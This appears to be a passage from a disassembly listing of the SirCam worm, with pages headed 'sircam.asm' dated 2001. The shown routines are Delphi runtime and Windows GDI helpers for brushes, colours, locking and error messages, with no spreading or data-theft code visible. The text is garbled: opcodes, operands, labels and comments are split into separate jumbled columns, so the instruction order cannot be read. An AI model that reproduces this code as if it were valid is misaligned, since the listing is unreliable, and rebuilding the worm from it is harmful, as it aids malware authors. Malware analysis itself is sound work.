; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_413F6B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413F7D:
sub_413EF0
; CODE XREF: sub_413EF0+13\030j
; DATA XREF: sub_413EF0+76\030o
mov
mov
mov
pop
retn
endp
eax, [ebp+var_4]
eax, [eax+8]
esp, ebp
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_413F88
proc near
sub_413F88
mov
mov
retn
endp
; CODE XREF: sub_414314+32\031p
; sub_414314+56\031p
eax, [eax+10h]
eax, [eax+14h]
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
532
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_413F90
proc near
var_10
var_C
var_8
var_4
=
=
=
=
dword
dword
dword
dword
ptr
ptr
ptr
ptr
; CODE XREF: sub_414314+6\031p
; sub_414314+14\031p
-10h
-0Ch
-8
-4
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFF0h
mov
eax, [eax+10h]
mov
[ebp+var_4], eax
mov
eax, [ebp+var_4]
cmp
dword ptr [eax+8], 0
jnz
loc_414064
mov
eax, ds:dword_41E6C8
call
sub_4137CC
xor
edx, edx
push
ebp
push
offset loc_41405D
push
dword ptr fs:[edx]
mov
fs:[edx], esp
mov
eax, [ebp+var_4]
cmp
dword ptr [eax+8], 0
jnz
short loc_414045
mov
eax, [ebp+var_4]
mov
eax, [eax+18h]
test
eax, eax
jz
short loc_413FF2
mov
[ebp+var_10], 3
mov
dl, 1
mov
ecx, [eax]
call
dword ptr [ecx+68h]
mov
eax, [ebp+var_4]
mov
eax, [eax+18h]
mov
edx, [eax]
call
dword ptr [edx+60h]
mov
[ebp+var_8], eax
jmp
short loc_414028
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_413FF2:
; CODE XREF: sub_413F90+42\030j
xor
eax, eax
mov
[ebp+var_8], eax
mov
eax, [ebp+var_4]
mov
al, [eax+1Ch]
mov
edx, eax
sub
dl, 1
jb
short loc_414008
jz
short loc_41400F
jmp
short loc_414018
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414008:
; CODE XREF: sub_413F90+72\030j
xor
eax, eax
mov
[ebp+var_10], eax
jmp
short loc_414028
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41400F:
; CODE XREF: sub_413F90+74\030j
mov
[ebp+var_10], 1
jmp
short loc_414028
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
loc_414018:
533
; CODE XREF: sub_413F90+76\030j
mov
and
sub
mov
[ebp+var_10], 2
eax, 7Fh
eax, 2
[ebp+var_8], eax
loc_414028:
; CODE XREF: sub_413F90+60\030j
; sub_413F90+7D\030j ...
mov
mov
call
mov
lea
push
call
mov
mov
eax, [ebp+var_4]
eax, [eax+14h]
sub_413B3C
[ebp+var_C], eax
eax, [ebp+var_10]
eax
j_CreateBrushIndirect
edx, [ebp+var_4]
[edx+8], eax
xor
pop
pop
pop
mov
push
; CODE XREF: sub_413F90+38\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_414064
loc_414045:
loc_414052:
; CODE XREF: sub_413F90+D2\031j
mov
eax, ds:dword_41E6C8
call
sub_4137D8
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41405D:
; DATA XREF: sub_413F90+26\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_414052
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414064:
sub_413F90
; CODE XREF: sub_413F90+13\030j
; DATA XREF: sub_413F90+BD\030o
mov
mov
mov
pop
retn
endp
eax, [ebp+var_4]
eax, [eax+8]
esp, ebp
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_414070
sub_414070
proc near
mov
eax, [eax+10h]
mov
al, [eax+1Ch]
retn
endp
; CODE XREF: sub_414314+26\031p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_414078
proc near
push
mov
ebx
ebx, eax
; CODE XREF: sub_4140CC+2F\031p
; sub_4154E0+18\031p
sircam.asm
sub_414078
Fri Aug 10 12:42:44 2001
534
push
offset unk_41E6A8
call
j_EnterCriticalSection_0
inc
dword ptr [ebx+50h]
push
offset unk_41E6A8
call
j_LeaveCriticalSection_0
lea
eax, [ebx+38h]
push
eax
call
j_EnterCriticalSection_0
pop
ebx
retn
endp ; sp = -0Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4140A0
sub_4140A0
proc near
; CODE XREF: sub_414174+13\031p
push
ebx
push
esi
push
edi
mov
edi, ecx
mov
esi, edx
mov
ebx, eax
mov
dl, ds:byte_4140C8
mov
eax, ebx
call
sub_414244
push
0
push
edi
push
esi
mov
eax, [ebx+4]
push
eax
call
j_MoveToEx
pop
edi
pop
esi
pop
ebx
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
byte_4140C8
db 1
; DATA XREF: sub_4140A0+9\030r
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4140CC
proc near
var_1
= byte ptr -1
push
mov
push
push
mov
push
call
xor
push
push
push
mov
cmp
setz
cmp
jz
mov
; CODE XREF: sub_415434+41\031p
ebp
ebp, esp
ecx
ebx
ebx, eax
offset unk_41E6A8
j_EnterCriticalSection_0
eax, eax
ebp
offset loc_414118
dword ptr fs:[eax]
fs:[eax], esp
dword ptr [ebx+50h], 0
[ebp+var_1]
[ebp+var_1], 0
short loc_414100
eax, ebx
sircam.asm
Fri Aug 10 12:42:44 2001
call
sub_414078
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4140CC+2B\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41411F
loc_414100:
loc_41410D:
sub_4140CC
535
; CODE XREF: CODE:0041411D\031j
push
offset unk_41E6A8
call
j_LeaveCriticalSection_0
retn
endp ; sp = -18h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414118:
; DATA XREF: sub_4140CC+14\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_41410D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41411F:
; DATA XREF: sub_4140CC+3C\030o
mov
al, [ebp-1]
pop
ebx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_414128
proc near
push
mov
lea
push
call
push
call
dec
loc_414141:
sub_414128
; CODE XREF: sub_415434+70\031p
; sub_4154E0+8E\031p
ebx
ebx, eax
eax, [ebx+38h]
eax
j_LeaveCriticalSection_0
offset unk_41E6A8
j_EnterCriticalSection_0
dword ptr [ebx+50h]
; DATA XREF: CODE:00408C14\030o
push
offset unk_41E6A8
call
j_LeaveCriticalSection_0
pop
ebx
retn
endp ; sp = -0Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_414150
proc near
; CODE XREF: sub_4141F0+1F\031p
push
ebx
push
esi
mov
esi, edx
mov
ebx, eax
mov
dl, ds:byte_414170
mov
eax, ebx
call
sub_414244
push
esi
mov
eax, [ebx+4]
sircam.asm
sub_414150
Fri Aug 10 12:42:44 2001
push
call
pop
pop
retn
endp
536
eax
j_GetCurrentPositionEx
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
byte_414170
db 1
; DATA XREF: sub_414150+6\030r
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_414174
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
sub_414174
push
push
add
mov
lea
movsd
movsd
mov
mov
call
pop
pop
pop
pop
retn
endp
; CODE XREF: sub_4141F0+4A\031p
esi
edi
esp, 0FFFFFFF8h
esi, edx
edi, [esp+8+var_8]
ecx, [esp+8+var_4]
edx, [esp+8+var_8]
sub_4140A0
ecx
edx
edi
esi
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_414194
proc near
; CODE XREF: sub_4141F0+16\031p
push
ebx
push
esi
mov
ebx, eax
mov
esi, [ebx+4]
test
esi, esi
jz
short loc_4141E7
mov
al, ds:byte_4141EC
not
eax
and
al, [ebx+8]
mov
dl, [ebx+8]
cmp
dl, al
jz
short loc_4141E7
mov
eax, ds:dword_41E680
push
eax
push
esi
call
j_SelectObject
mov
eax, ds:dword_41E684
push
eax
mov
eax, [ebx+4]
push
eax
call
j_SelectObject
mov
eax, ds:dword_41E688
push
eax
mov
eax, [ebx+4]
push
eax
call
j_SelectObject
mov
al, ds:byte_4141EC
sircam.asm
Fri Aug 10 12:42:44 2001
not
and
mov
eax
al, [ebx+8]
[ebx+8], al
loc_4141E7:
sub_414194
537
; CODE XREF: sub_414194+9\030j
; sub_414194+1A\030j
pop
pop
retn
endp
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
byte_4141EC
db 0Eh
; DATA XREF: sub_414194+B\030r
; sub_414194+46\030r
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4141F0
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
push
push
add
mov
mov
mov
cmp
jz
test
jz
mov
call
mov
mov
call
mov
mov
mov
mov
xor
mov
and
ebx
esi
esp, 0FFFFFFF8h
esi, edx
ebx, eax
eax, [ebx+4]
esi, eax
short loc_41423F
eax, eax
short loc_41422A
eax, ebx
sub_414194
edx, esp
eax, ebx
sub_414150
eax, [esp+8+var_8]
[ebx+18h], eax
eax, [esp+8+var_4]
[ebx+1Ch], eax
eax, eax
[ebx+4], eax
byte ptr [ebx+8], 0FEh
test
jz
or
mov
lea
mov
call
; CODE XREF: sub_4141F0+12\030j
esi, esi
short loc_41423F
byte ptr [ebx+8], 1
[ebx+4], esi
edx, [ebx+18h]
eax, ebx
sub_414174
loc_41422A:
loc_41423F:
sub_4141F0
; CODE XREF: sub_4154E0+66\031p
; CODE XREF: sub_4141F0+E\030j
; sub_4141F0+3C\030j
pop
pop
pop
pop
retn
endp
ecx
edx
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
sub_414244
Fri Aug 10 12:42:44 2001
proc near
push
push
push
mov
mov
mov
not
and
mov
cmp
jz
test
jz
mov
mov
call
cmp
jnz
mov
mov
mov
call
call
; CODE XREF: sub_4140A0+11\030p
; sub_414150+E\030p ...
ebx
esi
ecx
[esp+0], dl
esi, eax
bl, [esi+8]
ebx
bl, [esp]
al, ds:byte_4142B4
al, bl
short loc_4142B0
bl, 1
short loc_414286
eax, esi
edx, [eax]
dword ptr [edx+14h]
dword ptr [esi+4], 0
short loc_414286
ecx, ds:off_41DB60
dl, 1
eax, ds:off_40B85C
sub_40950C
sub_402F98
loc_414286:
; CODE XREF: sub_414244+1C\030j
; sub_414244+29\030j
test
jz
mov
call
bl, 2
short loc_414292
eax, esi
sub_4142B8
test
jz
mov
call
bl, 4
short loc_41429E
eax, esi
sub_4142E4
test
jz
mov
call
bl, 8
short loc_4142AA
eax, esi
sub_414314
or
mov
bl, [esi+8]
[esi+8], bl
pop
pop
pop
retn
endp
edx
esi
ebx
loc_414292:
; CODE XREF: sub_414244+45\030j
loc_41429E:
; CODE XREF: sub_414244+51\030j
loc_4142AA:
; CODE XREF: sub_414244+5D\030j
loc_4142B0:
sub_414244
538
; CODE XREF: sub_414244+17\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
byte_4142B4
db 0
; DATA XREF: sub_414244+10\030r
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4142B8
proc near
push
ebx
mov
ebx, eax
mov
eax, [ebx+0Ch]
call
sub_413D40
push
eax
mov
eax, [ebx+4]
; CODE XREF: sub_414244+49\030p
sircam.asm
sub_4142B8
Fri Aug 10 12:42:44 2001
push
call
mov
mov
call
push
mov
push
call
pop
retn
endp
539
eax
j_SelectObject
eax, [ebx+0Ch]
eax, [eax+18h]
sub_413B3C
eax
eax, [ebx+4]
eax
j_SetTextColor
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4142E4
sub_4142E4
proc near
; CODE XREF: sub_414244+55\030p
push
ebx
mov
ebx, eax
mov
eax, [ebx+10h]
call
sub_413EF0
push
eax
mov
eax, [ebx+4]
push
eax
call
j_SelectObject
mov
eax, [ebx+10h]
movzx
eax, byte ptr [eax+18h]
movzx
eax, ds:word_41DA48[eax*2]
push
eax
mov
eax, [ebx+4]
push
eax
call
j_SetROP2
pop
ebx
retn
endp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_414314
proc near
; CODE XREF: sub_414244+61\030p
push
ebx
mov
ebx, eax
mov
eax, [ebx+14h]
call
sub_413F90
push
eax
call
j_UnrealizeObject
mov
eax, [ebx+14h]
call
sub_413F90
push
eax
mov
eax, [ebx+4]
push
eax
call
j_SelectObject
mov
eax, [ebx+14h]
call
sub_414070
test
al, al
jnz
short loc_414367
mov
eax, [ebx+14h]
call
sub_413F88
call
sub_413B3C
push
eax
mov
eax, [ebx+4]
push
eax
call
j_SetBkColor
push
2
mov
eax, [ebx+4]
push
eax
call
j_SetBkMode
pop
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
540
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414367:
sub_414314
; CODE XREF: sub_414314+2D\030j
mov
call
call
not
push
mov
push
call
push
mov
push
call
pop
retn
endp
eax, [ebx+14h]
sub_413F88
sub_413B3C
eax
eax
eax, [ebx+4]
eax
j_SetBkColor
1
eax, [ebx+4]
eax
j_SetBkMode
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_414390
proc near
sub_414390
push
mov
mov
mov
mov
call
call
pop
retn
endp
; CODE XREF: CODE:004159E6\031p
; CODE:00415A02\031p ...
ebx
ebx, eax
ecx, ebx
dl, 1
eax, ds:off_413414
sub_40950C
sub_402F98
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4143A8
proc near
sub_4143A8
push
mov
mov
mov
mov
call
call
pop
retn
endp
; CODE XREF: sub_4143C0+5\031p
; sub_4143CC+5\031p
ebx
ebx, eax
ecx, ebx
dl, 1
eax, ds:off_4133B8
sub_40950C
sub_402F98
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4143C0
sub_4143C0
proc near
; CODE XREF: sub_414CF0+1D\031p
mov
eax, ds:off_41DB44
call
sub_4143A8
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
Fri Aug 10 12:42:44 2001
sub_4143CC
proc near
sub_4143CC
mov
call
retn
endp
541
; CODE XREF: sub_415764+64\031p
; sub_4157DC+1E\031p ...
eax, ds:off_41DB4C
sub_4143A8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4143D8
proc near
var_4
= dword ptr -4
push
mov
push
xor
push
push
push
mov
lea
mov
call
mov
mov
mov
call
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_41442C+7E\031p
; sub_414790+58\031p ...
ebp
ebp, esp
0
eax, eax
ebp
offset loc_414422
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
eax, ds:off_41DAF0
sub_404B80
ecx, [ebp+var_4]
dl, 1
eax, ds:off_40B800
sub_409450
sub_402F98
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_414429
loc_414419:
sub_4143D8
; CODE XREF: CODE:00414427\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -0Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414422:
; DATA XREF: sub_4143D8+8\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_414419
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_414429:
; DATA XREF: sub_4143D8+3C\030o
pop
pop
retn
ecx
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_41442C
proc near
; CODE XREF: sub_4144D4+7\031p
; sub_4144E4+72\031p ...
sircam.asm
var_104
var_100
Fri Aug 10 12:42:44 2001
542
= dword ptr -104h
= byte ptr -100h
push
ebp
mov
ebp, esp
add
esp, 0FFFFFEFCh
push
ebx
xor
eax, eax
mov
[ebp+var_104], eax
xor
eax, eax
push
ebp
push
offset loc_4144C8
push
dword ptr fs:[eax]
mov
fs:[eax], esp
call
j_GetLastError_0
mov
ebx, eax
test
ebx, ebx
jz
short loc_4144AA
push
0
push
100h
lea
eax, [ebp+var_100]
push
eax
push
400h
push
ebx
push
0
push
1000h
call
j_FormatMessageA
test
eax, eax
jz
short loc_4144AA
lea
eax, [ebp+var_104]
lea
edx, [ebp+var_100]
mov
ecx, 100h
call
sub_4036F8
mov
ecx, [ebp+var_104]
mov
dl, 1
mov
eax, ds:off_40B800
call
sub_409450
call
sub_402F98
jmp
short loc_4144AF
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4144AA:
; CODE XREF: sub_41442C+29\030j
; sub_41442C+4D\030j
call
sub_4143D8
xor
pop
pop
pop
mov
push
; CODE XREF: sub_41442C+7C\030j
eax, eax
